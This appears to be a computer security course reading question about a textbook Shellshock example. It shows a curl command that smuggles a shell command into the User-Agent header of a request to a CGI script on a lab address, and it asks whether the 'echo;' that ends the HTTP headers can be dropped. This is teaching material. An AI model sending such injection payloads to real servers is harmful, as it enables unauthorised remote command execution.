Reading Questions

Remember to submit your answer to this question BEFORE the next class.

The following command comes from page 53 of the Computer Security:

                    $ curl -A "() { echo hello;};
                               echo  Content_type: text/plain; echo; /bin/ls -l"
                               http://10.0.2.69/cgi-bin/test.cgi
                

If we remove the echo; from the command:

                    $ curl -A "() { echo hello;};
                               echo  Content_type: text/plain; /bin/ls -l"
                               http://10.0.2.69/cgi-bin/test.cgi
                

Please write down whether it is possible to delete the echo; and why. For this question you may need refer to the HTTP protocol.